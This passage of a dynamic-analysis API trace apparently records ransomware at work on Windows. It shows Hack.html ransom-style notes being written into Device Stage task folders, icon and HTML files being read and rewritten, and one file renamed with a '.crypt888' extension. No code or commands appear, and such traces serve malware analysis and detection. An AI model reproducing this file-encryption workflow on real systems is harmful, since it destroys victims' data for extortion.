users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0087.634] GetFileType (hFile=0x174) returned 0x1 [0087.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0087.635] GetFileType (hFile=0x174) returned 0x1 [0087.635] WriteFile (in: hFile=0x174, lpBuffer=0x27ba82c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x27ba82c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0087.636] CloseHandle (hObject=0x174) returned 1 [0087.636] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0087.636] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0087.636] GetFileType (hFile=0x174) returned 0x1 [0087.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0087.636] GetFileType (hFile=0x174) returned 0x1 [0087.636] WriteFile (in: hFile=0x174, lpBuffer=0x27bd0ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27bd0ac*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0087.637] CloseHandle (hObject=0x174) returned 1 [0087.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0087.637] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x55 [0087.637] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpFilePart=0x0) returned 0x56 [0087.637] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0087.637] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.637] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.638] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0087.639] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0087.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0087.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0087.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0087.639] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x55 [0087.639] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpFilePart=0x0) returned 0x56 [0087.639] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0087.639] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.639] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.639] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.640] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.641] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0087.641] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0087.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0087.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0087.641] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x60 [0087.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.641] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.641] GetFileType (hFile=0x174) returned 0x1 [0087.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.641] GetFileType (hFile=0x174) returned 0x1 [0087.641] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xd0a3 [0087.641] ReadFile (in: hFile=0x174, lpBuffer=0x27c26ac, nNumberOfBytesToRead=0xd0a3, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27c26ac*, lpNumberOfBytesRead=0x39ecbc*=0xd0a3, lpOverlapped=0x0) returned 1 [0087.642] CloseHandle (hObject=0x174) returned 1 [0087.681] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x60 [0087.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.681] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.683] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.683] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.683] GetFileType (hFile=0x174) returned 0x1 [0087.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.683] GetFileType (hFile=0x174) returned 0x1 [0087.683] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0087.683] ReadFile (in: hFile=0x174, lpBuffer=0x2844000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2844000*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0087.684] CloseHandle (hObject=0x174) returned 1 [0087.718] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.718] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.719] GetFileType (hFile=0x174) returned 0x1 [0087.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0087.719] GetFileType (hFile=0x174) returned 0x1 [0087.720] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.720] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html.crypt888", lpFilePart=0x0) returned 0x68 [0087.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0087.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6f9000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb6f9000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc57cbe60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0087.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0087.720] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html.crypt888")) returned 1 [0087.721] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x64 [0087.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.721] GetFileType (hFile=0x174) returned 0x1 [0087.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.721] GetFileType (hFile=0x174) returned 0x1 [0087.721] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xe3c8 [0087.721] ReadFile (in: hFile=0x174, lpBuffer=0x28935d4, nNumberOfBytesToRead=0xe3c8, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x28935d4*, lpNumberOfBytesRead=0x39ecbc*=0xe3c8, lpOverlapped=0x0) returned 1 [0087.722] CloseHandle (hObject=0x174) returned 1 [0087.739] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x64 [0087.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.739] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.741] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x68 [0087.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.741] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.741] GetFileType (hFile=0x174) returned 0x1 [0087.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.741] GetFileType (hFile=0x174) returned 0x1 [0087.741] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xebb8 [0087.741] ReadFile (in: hFile=0x174, lpBuffer=0x2728ae4, nNumberOfBytesToRead=0xebb8, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2728ae4*, lpNumberOfBytesRead=0x39ecbc*=0xebb8, lpOverlapped=0x0) returned 1 [0087.742] CloseHandle (hObject=0x174) returned 1 [0087.786] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x68 [0087.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.787] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x65 [0087.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.788] GetFileType (hFile=0x174) returned 0x1 [0087.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.788] GetFileType (hFile=0x174) returned 0x1 [0087.788] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xdff5 [0087.788] ReadFile (in: hFile=0x174, lpBuffer=0x27b1150, nNumberOfBytesToRead=0xdff5, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27b1150*, lpNumberOfBytesRead=0x39ecbc*=0xdff5, lpOverlapped=0x0) returned 1 [0087.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x65 [0087.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.837] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5f [0087.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.837] GetFileType (hFile=0x174) returned 0x1 [0087.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.838] GetFileType (hFile=0x174) returned 0x1 [0087.838] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xec75 [0087.838] ReadFile (in: hFile=0x174, lpBuffer=0x2836734, nNumberOfBytesToRead=0xec75, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2836734*, lpNumberOfBytesRead=0x39ecbc*=0xec75, lpOverlapped=0x0) returned 1 [0087.838] CloseHandle (hObject=0x174) returned 1 [0087.879] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5f [0087.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x67 [0087.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.881] GetFileType (hFile=0x174) returned 0x1 [0087.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.881] GetFileType (hFile=0x174) returned 0x1 [0087.881] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x10654 [0087.881] ReadFile (in: hFile=0x174, lpBuffer=0x28bef14, nNumberOfBytesToRead=0x10654, 